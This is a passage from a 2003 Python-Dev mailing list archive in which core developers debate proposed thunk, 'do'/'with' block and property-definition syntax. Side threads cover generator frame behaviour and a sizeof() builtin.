> Wouldn't this also allow one to code in a contract programming style ala
> Icon (assuming I remember correctly how contract programming works)?  I
> mean you have control over the enter and exit of the thunk (would this
> still be called a thunk, or just syntactic sugar for calling
> ``__exit__()`` and ``__enter__()``; more like a thunk-ish protocol?) which
> is what I thought was the focus of contract programming.
>
> Either way this seems rather nice.  And if you can pass in arguments (as I
> think ``FILE = file('blah.txt', 'rb'): (some_argument):`` is supposed to
> implement) this would be really nice.  =)

no there is no first-class thunk here, this is really just sugar for a
try-finally. The point here is not to need first-class thunks!




From bac@OCF.Berkeley.EDU  Sun Feb  2 22:19:36 2003
From: bac@OCF.Berkeley.EDU (Brett Cannon)
Date: Sun, 2 Feb 2003 14:19:36 -0800 (PST)
Subject: [Python-Dev] Extended Function syntax
In-Reply-To: <Pine.SOL.4.53.0302021354310.23477@death.OCF.Berkeley.EDU>
References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz>
 <061701c2cafb$2387ce60$6d94fea9@newmexico> <Pine.SOL.4.53.0302021333070.23477@death.OCF.Berkeley.EDU>
 <200302022250.37389.aleax@aleax.it> <Pine.SOL.4.53.0302021354310.23477@death.OCF.Berkeley.EDU>
Message-ID: <Pine.SOL.4.53.0302021417130.23477@death.OCF.Berkeley.EDU>

[Brett Cannon]

> ... (would this still be called a thunk, or just syntactic sugar for
> calling ``__exit__()`` and ``__enter__()``; more like a thunk-ish
> protocol?)...

Nevermind on this question.  Paul's email referring to this as
"acquire/release" clarified it.

Sounds like you are almost fishing in a catch/release stream.  That's it!
This is the "fishy" protocol (OK, corny joke, but I just had to make it
=)!

-Brett


From aleax@aleax.it  Sun Feb  2 22:22:51 2003
From: aleax@aleax.it (Alex Martelli)
Date: Sun, 2 Feb 2003 23:22:51 +0100
Subject: [Python-Dev] Extended Function syntax
In-Reply-To: <079d01c2cb07$0bbde880$6d94fea9@newmexico>
References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <200302022250.37389.aleax@aleax.it> <079d01c2cb07$0bbde880$6d94fea9@newmexico>
Message-ID: <200302022322.51511.aleax@aleax.it>

On Sunday 02 February 2003 11:04 pm, Samuele Pedroni wrote:
> With Guido's 'do': [notice that count is rebindable in the thunk]
>
> class iterclose:
>   def __init__(self,iterwclose):
>      self.iter = iterwclose
>
>   def __call__(self,thunk):
>      try:
>        for x in self.iter:
>          thunk(x)
>      finally:
>        self.iter.close()
>
> count = 0
> do iterclose(open('blah.txt')): (line):
>    if line.find('Python') >=0:
>      count += 1
>      print line,

OK -- I *don't* get that " (line):" part, and how calling thunk() in
iterclose.__init__ binds/rebinds the local (?) variable line of the thunk. 
Looks like black magic to me.  Guess I must just be a bit thick 
tonight -- sorry.

> class autoclose2:
>   def __init__(self,file):
>     self.file = file
>
>   def __call__(self,thunk):
>       try:
>         thunk()
>       finally:
>         self.file.close()
>
> count = 0
> myfile = open('blah.txt')
> do autoclose2(open('blah.txt')):
>    for line in myfile:
>      if line.find('Python') >=0:
>        count += 1
>        print line,

shouldn't that be "do autoclose2(myfile):" ?  or is there some
even-blacker magic in this "do" business that I don't get...?


Alex



From pedronis@bluewin.ch  Sun Feb  2 22:25:45 2003
From: pedronis@bluewin.ch (Samuele Pedroni)
Date: Sun, 2 Feb 2003 23:25:45 +0100
Subject: [Python-Dev] Extended Function syntax
References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <200302022250.37389.aleax@aleax.it> <079d01c2cb07$0bbde880$6d94fea9@newmexico> <200302022322.51511.aleax@aleax.it>
Message-ID: <080301c2cb0a$07b04820$6d94fea9@newmexico>

From: "Alex Martelli" <aleax@aleax.it>
> On Sunday 02 February 2003 11:04 pm, Samuele Pedroni wrote:
> > With Guido's 'do': [notice that count is rebindable in the thunk]
> >
> > class iterclose:
> >   def __init__(self,iterwclose):
> >      self.iter = iterwclose
> >
> >   def __call__(self,thunk):
> >      try:
> >        for x in self.iter:
> >          thunk(x)
> >      finally:
> >        self.iter.close()
> >
> > count = 0
> > do iterclose(open('blah.txt')): (line):
> >    if line.find('Python') >=0:
> >      count += 1
> >      print line,
>
> OK -- I *don't* get that " (line):" part, and how calling thunk() in
> iterclose.__init__ binds/rebinds the local (?) variable line of the thunk.
> Looks like black magic to me.  Guess I must just be a bit thick
> tonight -- sorry.

a thunk is like a Smalltalk block, a closure that can rebind the locals and can
get arguments ( (line): above) ),
and maybe non-local returns ( ^ in Smalltalk): in pseudo-python the above is:

count = 0
defClosureAllowingRebinding  _thunk(line):
    if line.find('Python') >=0:
      count += 1
      print line,

iterclose(open('blah.txt'))(_thunk)





> > class autoclose2:
> >   def __init__(self,file):
> >     self.file = file
> >
> >   def __call__(self,thunk):
> >       try:
> >         thunk()
> >       finally:
> >         self.file.close()
> >
> > count = 0
> > myfile = open('blah.txt')
> > do autoclose2(open('blah.txt')):
> >    for line in myfile:
> >      if line.find('Python') >=0:
> >        count += 1
> >        print line,
>
> shouldn't that be "do autoclose2(myfile):" ?  or is there some
> even-blacker magic in this "do" business that I don't get...?
>

yes, you're right.



From bac@OCF.Berkeley.EDU  Sun Feb  2 22:32:41 2003
From: bac@OCF.Berkeley.EDU (Brett Cannon)
Date: Sun, 2 Feb 2003 14:32:41 -0800 (PST)
Subject: [Python-Dev] Extended Function syntax
In-Reply-To: <200302022322.51511.aleax@aleax.it>
References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz>
 <200302022250.37389.aleax@aleax.it> <079d01c2cb07$0bbde880$6d94fea9@newmexico>
 <200302022322.51511.aleax@aleax.it>
Message-ID: <Pine.SOL.4.53.0302021426200.23477@death.OCF.Berkeley.EDU>

[Alex Martelli]

> On Sunday 02 February 2003 11:04 pm, Samuele Pedroni wrote:
> > With Guido's 'do': [notice that count is rebindable in the thunk]
> >
> > class iterclose:
> >   def __init__(self,iterwclose):
> >      self.iter = iterwclose
> >
> >   def __call__(self,thunk):
> >      try:
> >        for x in self.iter:
> >          thunk(x)
> >      finally:
> >        self.iter.close()
> >
> > count = 0
> > do iterclose(open('blah.txt')): (line):
> >    if line.find('Python') >=0:
> >      count += 1
> >      print line,
>
> OK -- I *don't* get that " (line):" part, and how calling thunk() in
> iterclose.__init__ binds/rebinds the local (?) variable line of the thunk.
> Looks like black magic to me.  Guess I must just be a bit thick
> tonight -- sorry.
>

After staring at this for a minute I figured out what ``(line):`` does.
So what you have to realize is that the block (from ``if line...`` to
``print line,`` is passed into ``__call__()`` and bound to ``thunk()``.
Now the object bound to ``thunk`` accepts a single argument, named
``line`` in ``thunk``.  In ``__call__()`` the variable ``x`` is what is
being passed into the thunk code and being bound to ``line``.  Phew.  =)

So, to make sure I am not confuing myself, ``do`` does the
following:

 Instantiates ``iterclose(open('blah.txt'))``.

 Compiles the block of code that makes up the thunk.
	It ends up accepting a single argument which bound to ``line``.

 Calls ``iterclose().__call__(<thunk>)`` and executes it.

 We all let our heads stop spinning from all that and have a good, stiff
drink.  =)

-Brett


From greg@cosc.canterbury.ac.nz  Sun Feb  2 22:37:44 2003
From: greg@cosc.canterbury.ac.nz (Greg Ewing)
Date: Mon, 03 Feb 2003 11:37:44 +1300 (NZDT)
Subject: [Python-Dev] Property syntax (Re: [Python-Dev] Extended Function syntax)
In-Reply-To: <20030131120720.B10804@prim.han.de>
Message-ID: <200302022237.h12MbiN22545@oma.cosc.canterbury.ac.nz>

> What would you think of 'is' then?  
> 
>     def name(...) is classmethod:

Doesn't read nearly as well to my ears. "Define foo as property"
is a grammatical and meaningful English sentence, whereas
"Define foo is property" isn't.

Simply "foo is property" would be better, but unfortunately
it already has a meaning.

Hmmm... maybe

   whereas foo is property:
     ...

:-?

Greg Ewing, Computer Science Dept, +--------------------------------------+
University of Canterbury,	   | A citizen of NewZealandCorp, a	  |
Christchurch, New Zealand	   | wholly-owned subsidiary of USA Inc.  |
greg@cosc.canterbury.ac.nz	   +--------------------------------------+


From just@letterror.com  Sun Feb  2 22:56:52 2003
From: just@letterror.com (Just van Rossum)
Date: Sun,  2 Feb 2003 23:56:52 +0100
Subject: [Python-Dev] Extended Function syntax
In-Reply-To: <080301c2cb0a$07b04820$6d94fea9@newmexico>
Message-ID: <r01050400-1023-A1426884370111D7B33C003065D5E7E4@[10.0.0.23]>

Samuele Pedroni wrote:

> a thunk is like a Smalltalk block, a closure that can rebind the
> locals and can get arguments ( (line): above) ), and maybe non-local
> returns ( ^ in Smalltalk): in pseudo-python the above is:
> 
> count = 0
> defClosureAllowingRebinding  _thunk(line):
>     if line.find('Python') >=0:
>       count += 1
>       print line,
> 
> iterclose(open('blah.txt'))(_thunk)

If _rebinding_ is what we're after, then why not go all the way an
introduce a rebind operator? Say ':='. Augmented assignment would also
become rebinding then (hm, I hear the sound of code breaking in the
distance ;-) Add that to MWH's function/class filter patch and you can
write:

    count = 0
    def _thunk(line) [iterclose(open('blah.txt'))]:
        if line.find('Python') >=0:
            count += 1  # or count := count + 1
            print line,

Not nice that _thunk needs to be named, but perhaps the function name
can become optional:

    count = 0
    def (line) [iterclose(open('blah.txt'))]:
        if line.find('Python') >=0:
            count += 1
            print line,

How's that for a change of direction? ;-)

I'm just throwing in an idea, I'm not saying I like this (I don't know
yet).

Just


From pedronis@bluewin.ch  Sun Feb  2 23:29:20 2003
From: pedronis@bluewin.ch (Samuele Pedroni)
Date: Mon, 3 Feb 2003 00:29:20 +0100
Subject: [Python-Dev] Extended Function syntax
References: <072701c2cb03$075ef800$6d94fea9@newmexico>
Message-ID: <091301c2cb12$e9e8e780$6d94fea9@newmexico>

[me]
> From: "Samuele Pedroni" <pedronis@bluewin.ch>
> > > but it seems it would be harder for newbies to learn and use).
> >
> > to be fair I don't think that Guido suggested to add a iterclose builtin to
> the
> > language, OTOH nobody would be stopped to write and use it in its code,
> > basically short of community style guides and pressure both:
> >
> > do iterclose(open('blah.txt','rb')): (line):
> >     ...
> >
> > do myfile = autoclose(open('blah.txt','rb')):
> >    for line in myfile:
> >     ...
>
> this one is wrong, it would have to be (assumed the current proposals):
>
> do autoclose(open('blah.txt','rb')): (myfile):
>    for line in myfile:
>     ...
>

I think that the fact that the above is wrong and the latter is right, is very
symptomatic of the fact that the '=' in

do lval = expr:
  suite

is rather ambiguous.



From oren-py-d@hishome.net  Sun Feb  2 23:34:52 2003
From: oren-py-d@hishome.net (Oren Tirosh)
Date: Mon, 3 Feb 2003 01:34:52 +0200
Subject: [Python-Dev] Property syntax
In-Reply-To: <200302021917.h12JHMA14683@pcp02138704pcs.reston01.va.comcast.net>; from guido@python.org on Sun, Feb 02, 2003 at 02:17:22PM -0500
References: <BA600BA0.2FBA2%goodger@python.org> <200301311628.h0VGSps08054@odiug.zope.com> <20030131165507.GA17116@panix.com> <200301311821.h0VIL3M10010@odiug.zope.com> <20030202175434.GA13189@hishome.net> <200302021917.h12JHMA14683@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <20030203013452.A31174@hishome.net>

On Sun, Feb 02, 2003 at 02:17:22PM -0500, Guido van Rossum wrote:
> Um, I thought this was going on on python-dev?  This is way too raw
> for c.l.py.  

Oops. I added CC manually and typed python-list instead of python-dev.

> Given that the syntax for a class's bases and for a function's
> arguments are completely different and incompatible, I'm not sure how
> you can ever come up with a construct that unifies them.

Dunno. Let's try.


    def F():
        suite
<=>
    def F as function: 
        suite
<=>
    F = function(CODE, globals(), 'F')


    class C(X, Y):
        suite
<=>
    def C as type:	
        __bases__ = X, Y
        suite
<=>
    C = type(CODE, globals(), 'C')   # where CODE assigns to __bases__


    def F(arg=defaultvalue):
        suite
<=>
    #def F as function: 
    #    no suite can create a code object with co_argcount != 0
    #    It can't return or yield either. Only def with parens can 
    #    create a code object with these features.
<=>
    F = function(CODE, globals(), 'F', (defaultvalue,))


    def static() as staticmethod:
<=>
    def static as function, staticmethod:
<=>
    static = staticmethod(function(CODE, globals(), 'F'))


    def foo as property:
        def __get__(self):
            ...
        def __set__(self):
<=>
    foo = property(CODE, globals(), 'foo') 
    # execs CODE in a dict, reads __get__, __set__, __del__ items from it

> And where did pypy-dev come from?  I thought that the
> point of pypy-dev was not to invent new language constructs?

Looking this way at the creation of function object and class objects 
may help in implementing them in pure Python. There is no need for a 
dedicated bytecode - 'def' and 'class' are just a different way to 
write the constructor calls above. 

    Oren



From greg@cosc.canterbury.ac.nz  Sun Feb  2 23:55:29 2003
From: greg@cosc.canterbury.ac.nz (Greg Ewing)
Date: Mon, 03 Feb 2003 12:55:29 +1300 (NZDT)
Subject: question??? [Python-Dev] Property syntax
In-Reply-To: <200301311845.h0VIjLj10172@odiug.zope.com>
Message-ID: <200302022355.h12NtTG22969@oma.cosc.canterbury.ac.nz>

Guido:

> I happen to like generalized thunks because they remind me of Ruby
> blocks.  But I realize there are more ways to skin this cat.

Seems to me it's more a case of there being several different animals
we're considering skinning, and we're trying to find one tool to skin
them all, and in the darkness find them...  oops, sorry, mixing a
metaphor with an allusion... Anyway, I think I agree with the comment
made earlier that maybe we're trying to unify too many things.

All of these things seem like they would benefit from some kind of
code-block mechanism, but have differing namespace requirements. Let's
see if I can categorise them:

* Defining a function: The code block executes in a new optimised local
namespace. The local namespace is discarded when the block returns.

* Defining a class: The code block executes with a new dictionary as
its local namespace. The local namespace is retained when the block
returns.

* Defining a property: Same as defining a class.

* New control structures: The code block does not have a local
namespace of its own, but shares one with the surrounding code.

So there appear to be at least two, and possibly three, different ways
that the code block will need to be compiled, depending on its
intended usage. Therefore, the intended usage will have to be made
known somehow at compile time.

David Goodger's solution to this is to have the compiler treat each
"as xxx" as a special case. I can understand Gudio wanting something
more general than this.

But it looks to me at the moment like we're going to need about three
different syntaxes, one for each of the above code block usages.

(1) We already have one for defining a function:

  def foo(args):
    ...

We just have to be clear that this is *not* equivalent to any
instance of (2) below, because the thunk usage is different.

(2) Class-definition-like usages:

  def foo as something:
    ...

Defining a class could be a special case of this, e.g.

  def myclass as type:
    ...

I can understand Guido's reluctance to re-use "def" for this,
given that (1) is not a special case of it. But I haven't thought of
anything better yet. The best I've come up with so far is

  namespace foo(something):
    ...

with "namespace" being a new keyword. For example, a property would
be defined with

  namespace foo(property):
    ...

But I don't like it much myself for various reasons: it's too verbose,
and it wouldn't really sound right calling a property a namespace
(it's not, the namespace would only be an implementation detail of the
mechanism of it's creation).

(3) Control-structure-like usages:

  expression:
    ...

  var = expression:
    ...

Greg Ewing, Computer Science Dept, +--------------------------------------+
University of Canterbury,	   | A citizen of NewZealandCorp, a	  |
Christchurch, New Zealand	   | wholly-owned subsidiary of USA Inc.  |
greg@cosc.canterbury.ac.nz	   +--------------------------------------+


From pedronis@bluewin.ch  Mon Feb  3 00:00:24 2003
From: pedronis@bluewin.ch (Samuele Pedroni)
Date: Mon, 3 Feb 2003 01:00:24 +0100
Subject: [Python-Dev] Property syntax
References: <BA600BA0.2FBA2%goodger@python.org> <200301311628.h0VGSps08054@odiug.zope.com> <20030131165507.GA17116@panix.com> <200301311821.h0VIL3M10010@odiug.zope.com> <20030202175434.GA13189@hishome.net> <200302021917.h12JHMA14683@pcp02138704pcs.reston01.va.comcast.net> <20030203013452.A31174@hishome.net>
Message-ID: <004101c2cb17$40a5f6e0$6d94fea9@newmexico>

From: "Oren Tirosh" <oren-py-d@hishome.net>
> 
>     def F():
>         suite
> <=>
>     def F as function: 
>         suite
> <=>
>     F = function(CODE, globals(), 'F')
> 

function construction may need a set of cells to implement nested scopes.


From greg@cosc.canterbury.ac.nz  Mon Feb  3 00:56:13 2003
From: greg@cosc.canterbury.ac.nz (Greg Ewing)
Date: Mon, 03 Feb 2003 13:56:13 +1300 (NZDT)
Subject: [Python-Dev] Extended Function syntax
In-Reply-To: <061701c2cafb$2387ce60$6d94fea9@newmexico>
Message-ID: <200302030056.h130uDW23921@oma.cosc.canterbury.ac.nz>

Samuele Pedroni <pedronis@bluewin.ch>:

> with myfile = auto_closing_file('blah.txt', 'rb'):
>   for line in myfile:
>    ...
>
> With Guido's 'do', you could define an iterclose():
> 
> do iterclose(open('blah.txt','rb')): (line):
>    ...
> 
> Btw, the two snippets illustrate quite well the different evolutive directions'
> on the table.

I must say that, for this particular usage at least, I find
the first one a darn sight easier to follow than the second!

Greg Ewing, Computer Science Dept, +--------------------------------------+
University of Canterbury,	   | A citizen of NewZealandCorp, a	  |
Christchurch, New Zealand	   | wholly-owned subsidiary of USA Inc.  |
greg@cosc.canterbury.ac.nz	   +--------------------------------------+


From guido@python.org  Mon Feb  3 02:02:52 2003
From: guido@python.org (Guido van Rossum)
Date: Sun, 02 Feb 2003 21:02:52 -0500
Subject: [Python-Dev] Extended Function syntax
In-Reply-To: "Your message of Mon, 03 Feb 2003 13:56:13 +1300."
 <200302030056.h130uDW23921@oma.cosc.canterbury.ac.nz>
References: <200302030056.h130uDW23921@oma.cosc.canterbury.ac.nz>
Message-ID: <200302030202.h1322qg15913@pcp02138704pcs.reston01.va.comcast.net>

> > with myfile = auto_closing_file('blah.txt', 'rb'):
> >   for line in myfile:
> >    ...
> >
> > With Guido's 'do', you could define an iterclose():
> > 
> > do iterclose(open('blah.txt','rb')): (line):
> >    ...
> > 
> > Btw, the two snippets illustrate quite well the different
> > evolutive directions' on the table.
> 
> I must say that, for this particular usage at least, I find
> the first one a darn sight easier to follow than the second!

I think 'do' is being misrepresented, and I also doubt that this is a
very practical example.  But I may have to wait until the next weekend
before I can continue in this thread -- I can't work on this on
workdays.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From tim.one@comcast.net  Mon Feb  3 02:48:45 2003
From: tim.one@comcast.net (Tim Peters)
Date: Sun, 02 Feb 2003 21:48:45 -0500
Subject: [Python-Dev] Extended Function syntax
In-Reply-To: <200302021934.h12JYFQ14810@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCCEODDLAB.tim.one@comcast.net>

[Guido]
> ...
> I think that for synchronized-like cases, even if it is known at
> compile time that it is to be part of the surrounding scope, the code
> generated will still need to use nested-scope-cells, since it will be
> invoked on a different stack frame: the "thunk processor" pushes its
> own frame on the stack, and I think you can't have something that
> executes in a frame that's not the topmost frame.  (Or can you?  I
> don't know exactly what generators can get away with.)

"resumable function" captures almost all salient aspects of the Python
generator implementation.  Generator resumption acts like a method call to
the resumer (generator_iterator.next(), whether explicit or implicit), and
yielding acts *almost* like a function return to the generator (the
generator's stack frame is popped just as for a function return; the primary
difference is just that the frame's refcount isn't decremented).

In short, the implementation is a way to get the same frame on the top of
the stack more than once; there's nothing there now to support execution in
a non-top frame.  If such were added, the biggest mystery would be what to
do when a non-top frame tries to exit.



From tim.one@comcast.net  Mon Feb  3 03:42:20 2003
From: tim.one@comcast.net (Tim Peters)
Date: Sun, 02 Feb 2003 22:42:20 -0500
Subject: [Python-Dev] PEP 42:  sizeof(obj) builtin
In-Reply-To: <015901c2c924$91ec8e00$6d94fea9@newmexico>
Message-ID: <LNBBLJKPBEHFEDALKOLCGEOHDLAB.tim.one@comcast.net>

[Samuele Pedroni, on sizeof()]
> it is very unlikely that we can implement this in Jython,

I'm sure that you could, but no better than CPython:  return a lower bound
that may or may not be within a factor of 1000 of reality.  CPython could do
C sizeof() on Python objects, but that's about it.  There's no clear way to
know how much overhead is due to pymalloc "per object", and no way at all to
know how much overhead is imposed by the system malloc, or by the OS.

Continuing Jeremy's example:  How much memory does an empty Python dict
consume?  It's certain that *some* empty dicts grab at least 256KB from the
system malloc, because that's the minimum chunk size pymalloc uses for its
object arenas.  Telling a user that the unlucky empty dict triggering a new
arena allocation consumed some 128 bytes is a factor of 2000 off from what
was actually gotten from the C library.

There are many layers of memory, and we have a poor handle on most of them
even in CPython.  In a debug Python build, setting the envar
PYTHONMALLOCSTATS displays a lot of detail about pymalloc's memory use, but
that's only part of the story.

Implement the Jython sizeof() to always return 8, and who'd know the
difference <wink>.



From pyth@devel.trillke.net  Mon Feb  3 08:59:08 2003
From: pyth@devel.trillke.net (holger krekel)
Date: Mon, 3 Feb 2003 09:59:08 +0100
Subject: [Python-Dev] Extended Function syntax
In-Reply-To: <LNBBLJKPBEHFEDALKOLCCEODDLAB.tim.one@comcast.net>; from tim.one@comcast.net on Sun, Feb 02, 2003 at 09:48:45PM -0500
References: <200302021934.h12JYFQ14810@pcp02138704pcs.reston01.va.comcast.net> <LNBBLJKPBEHFEDALKOLCCEODDLAB.tim.one@comcast.net>
Message-ID: <20030203095908.Z10804@prim.han.de>

Tim Peters wrote:
> [Guido]
> > ...
> > I think that for synchronized-like cases, even if it is known at
> > compile time that it is to be part of the surrounding scope, the code
> > generated will still need to use nested-scope-cells, since it will be
> > invoked on a different stack frame: the "thunk processor" pushes its
> > own frame on the stack, and I think you can't have something that
> > executes in a frame that's not the topmost frame.  (Or can you?  I
> > don't know exactly what generators can get away with.)
> 
> "resumable function" captures almost all salient aspects of the Python
> generator implementation.  Generator resumption acts like a method call to
> the resumer (generator_iterator.next(), whether explicit or implicit), and
> yielding acts *almost* like a function return to the generator (the
> generator's stack frame is popped just as for a function return; the primary
> difference is just that the frame's refcount isn't decremented).

What do you mean with "generator's stack frame is popped"? 

I interpreted this code  in ceval.c

    if (why != WHY_YIELD) {
            /* Pop remaining stack entries -- but when yielding */
            while (!EMPTY()) {
                v = POP();
                Py_XDECREF(v);
            }
    }

to mean the frame is suspended with a preserved stack. 
f_stacktop/last_i later are used to resume. 

    holger


From mal@lemburg.com  Mon Feb  3 09:16:11 2003
From: mal@lemburg.com (M.-A. Lemburg)
Date: Mon, 03 Feb 2003 10:16:11 +0100
Subject: [Python-Dev] PEP 42:  sizeof(obj) builtin
In-Reply-To: <LNBBLJKPBEHFEDALKOLCGEOHDLAB.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCGEOHDLAB.tim.one@comcast.net>
Message-ID: <3E3E335B.9060708@lemburg.com>

Tim Peters wrote:
> [Samuele Pedroni, on sizeof()]
> 
>>it is very unlikely that we can implement this in Jython,
> 
> 
> I'm sure that you could, but no better than CPython:  return a lower bound
> that may or may not be within a factor of 1000 of reality.  CPython could do
> C sizeof() on Python objects, but that's about it.  There's no clear way to
> know how much overhead is due to pymalloc "per object", and no way at all to
> know how much overhead is imposed by the system malloc, or by the OS.
> 
> Continuing Jeremy's example:  How much memory does an empty Python dict
> consume?  It's certain that *some* empty dicts grab at least 256KB from the
> system malloc, because that's the minimum chunk size pymalloc uses for its
> object arenas.  Telling a user that the unlucky empty dict triggering a new
> arena allocation consumed some 128 bytes is a factor of 2000 off from what
> was actually gotten from the C library.

That's not the point of sizeof(). In mxTools I implemented pretty
much the same thing as C's sizeof(typestruct), nothing more.
You can use sizeof() to estimate the memory usage of an object,
but if you want knowledge about the process memory footprint
you're better off with the OS APIs.

> There are many layers of memory, and we have a poor handle on most of them
> even in CPython.  In a debug Python build, setting the envar
> PYTHONMALLOCSTATS displays a lot of detail about pymalloc's memory use, but
> that's only part of the story.
> 
> Implement the Jython sizeof() to always return 8, and who'd know the
> difference <wink>.

Doesn't Java have some API which can be used to estimate the
memory usage of an object ?

-- 
Marc-Andre Lemburg
CEO eGenix.com Software GmbH
_______________________________________________________________________
eGenix.com -- Makers of the Python mx Extensions: mxDateTime,mxODBC,...
Python Consulting:                               http://www.egenix.com/
Python Software:                    http://www.egenix.com/files/python/



From mal@lemburg.com  Mon Feb  3 09:25:42 2003
From: mal@lemburg.com (M.-A. Lemburg)
Date: Mon, 03 Feb 2003 10:25:42 +0100
Subject: [Python-Dev] Extended Function syntax (PEP time)
In-Reply-To: <20030203095908.Z10804@prim.han.de>
References: <200302021934.h12JYFQ14810@pcp02138704pcs.reston01.va.comcast.net>	<LNBBLJKPBEHFEDALKOLCCEODDLAB.tim.one@comcast.net> <20030203095908.Z10804@prim.han.de>
Message-ID: <3E3E3596.3010900@lemburg.com>

Given the length of this thread, could someone please distill
this into one or more PEPs ?!

Thanks,
-- 
Marc-Andre Lemburg
CEO eGenix.com Software GmbH
_______________________________________________________________________
eGenix.com -- Makers of the Python mx Extensions: mxDateTime,mxODBC,...
Python Consulting:                               http://www.egenix.com/
Python Software:                    http://www.egenix.com/files/python/



From Paul.Moore@atosorigin.com  Mon Feb  3 09:50:52 2003
From: Paul.Moore@atosorigin.com (Moore, Paul)
Date: Mon, 3 Feb 2003 09:50:52 -0000
Subject: [Python-Dev] Acquire/release functionality (Was: Extended Function syntax)
Message-ID: <16E1010E4581B049ABC51D4975CEDB886199C8@UKDCX001.uk.int.atosorigin.com>

From: Alex Martelli [mailto:aleax@aleax.it]

> On Sunday 02 February 2003 10:49 pm, Paul Moore wrote: ...
>
> > which I've been referring to as acquire/release. The only
> > property-like cases I'm aware of are properties themselves.
>
> Wouldn't classmethods and staticmethods also be able to exploit (in
> a simpler way) the syntax/semantics used for properties? That's the
> impression I had.

Classmethods and staticmethods are already covered by the patch to allow

    def myfn(f) [staticmethod]:
        ...

I don't see any value in looking further than this, as I think that this
syntax is clean, extensible, and understandable.

> I do like your "unified proposal" for the "with" case (I have no idea
> if "with" is the pluperfectly right sugar for this, btw -- no biggie
> anyway, i think).
>
> > the exception should be propogated. The problem is that I'm not sure
> > what is the best way for an __except__ method to signal that it
> > caught the exception.
>
> Maybe the return value of __except__ should be evaluated in a boolean
> context encoding this? False -> exception not caught, True -> caught
> ...
>
> So, an __except__ without return statements (implicitly returning
> None, thus false) would be a clean-up thingy that does no catching
> (but e.g. just rollbacks some DB transactions or whatever), for
> example -- a "return True" would explicitly signal the exception was
> caught -- etc.

Yes, that sounds exactly right - thanks! This was one of the options I
was thinking about, but I hadn't convinced myself that an __except__
with no return did something which felt right. But your explanation
convinces me.

Paul.


From Paul.Moore@atosorigin.com  Mon Feb  3 09:59:59 2003
From: Paul.Moore@atosorigin.com (Moore, Paul)
Date: Mon, 3 Feb 2003 09:59:59 -0000
Subject: [Python-Dev] Extended Function syntax
Message-ID: <16E1010E4581B049ABC51D4975CEDB886199C9@UKDCX001.uk.int.atosorigin.com>

From: Alex Martelli [mailto:aleax@aleax.it]

> On Sunday 02 February 2003 11:07 pm, Brett Cannon wrote: ...
>
> > Now if ``__exit__()`` would be executed regardless of exceptions
> > this would probably eliminate a decent chunk of code that uses
> > ``finally:``
>
> Hmmm, yes, I _was_ sort of assuming that __exit__ runs much like
> 'finally' would -- otherwise cleanup/release code would more often
> than not have to be duplicated.

I don't think there's much point to new syntax if __exit__ *doesn't*
run even in the face of exceptions. To my mind, that's the whole point
of the construct - guaranteed cleanup.

> > Either way this seems rather nice. And if you can pass in arguments
> > (as I think ``FILE =3D file('blah.txt', 'rb'): (some_argument):`` is
> > supposed to implement) this would be really nice. =3D)
>
> I think THAT is the complicated part of the "do" syntax -- that
> trailing "(whatever):" that I don't understand. What would its pluses
> be? Where would that 'whatever' be directed to...? Could you please
> provide a use case for with + "(some_argument):" ...?

Having just seen Samuele's examples, I notice that he uses the trailing
argument. And I still don't understand it :-( There's no way I can see
the "do" syntax as even remotely natural for the example of a file
autoclose (and by inference, any reasonably common cleanup requirement).

Is there any additional advantage to the "do" syntax that isn't shared =
by
the "with" syntax? A full example like the autoclose one would help
enormously!

Paul


From mwh@python.net  Mon Feb  3 10:44:44 2003
From: mwh@python.net (Michael Hudson)
Date: Mon, 03 Feb 2003 10:44:44 +0000
Subject: [Python-Dev] Extended Function syntax
In-Reply-To: <Pine.SOL.4.53.0302021354310.23477@death.OCF.Berkeley.EDU> (Brett
 Cannon's message of "Sun, 2 Feb 2003 14:07:38 -0800 (PST)")
References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz>
 <061701c2cafb$2387ce60$6d94fea9@newmexico>
 <Pine.SOL.4.53.0302021333070.23477@death.OCF.Berkeley.EDU>
 <200302022250.37389.aleax@aleax.it>
 <Pine.SOL.4.53.0302021354310.23477@death.OCF.Berkeley.EDU>
Message-ID: <2mlm0xr6cj.fsf@starship.python.net>

Brett Cannon <bac@OCF.Berkeley.EDU> writes:

> Now if ``__exit__()`` would be executed regardless of exceptions this
> would probably eliminate a decent chunk of code that uses ``finally:``
> such as::

That was the major point of the proposal.  Holger has a Friendly
Competing Proposal that I think allows the "monitor" (i.e. the thing
with the __enter__ and __exit__ methods) to distinguish between normal
and exceptional return.  I thought that was a bit overcomplicated.

Cheers,
M.

-- 
[1] If you're lost in the woods, just bury some fibre in the ground
    carrying data. Fairly soon a JCB will be along to cut it for you
    - follow the JCB back to civilsation/hitch a lift.
                                               -- Simon Burr, cam.misc


From mwh@python.net  Mon Feb  3 10:49:15 2003
From: mwh@python.net (Michael Hudson)
Date: Mon, 03 Feb 2003 10:49:15 +0000
Subject: [Python-Dev] Weekly Python Bug/Patch Summary
In-Reply-To: <200302021300.h12D0ZRd015670@manatee.mojam.com> (Skip
 Montanaro's message of "Sun, 2 Feb 2003 07:00:35 -0600")
References: <200302021300.h12D0ZRd015670@manatee.mojam.com>
Message-ID: <2misw1r650.fsf@starship.python.net>

Skip Montanaro <skip@manatee.mojam.com> writes:

> Bug/Patch Summary
> -----------------
>
> 350 open / 3282 total bugs (+14)
> 123 open / 1944 total patches (+16)

Oh dear.  How about saying that each post to python-dev about syntax
must be accompanied by action towards closing out at least one bug or
patch? :)

Cheers,
M.

-- 
  I'm not particularly fond of singing GSTQ because she stands for
  some things I don't, but it's not really worth letting politics
  getting in the way of a good bawling.     -- Dan Sheppard, ucam.chat


From tismer@tismer.com  Mon Feb  3 11:00:55 2003
From: tismer@tismer.com (Christian Tismer)
Date: Mon, 03 Feb 2003 12:00:55 +0100
Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python)
In-Reply-To: <a05200f03ba5f70e865d4@[63.120.19.221]>
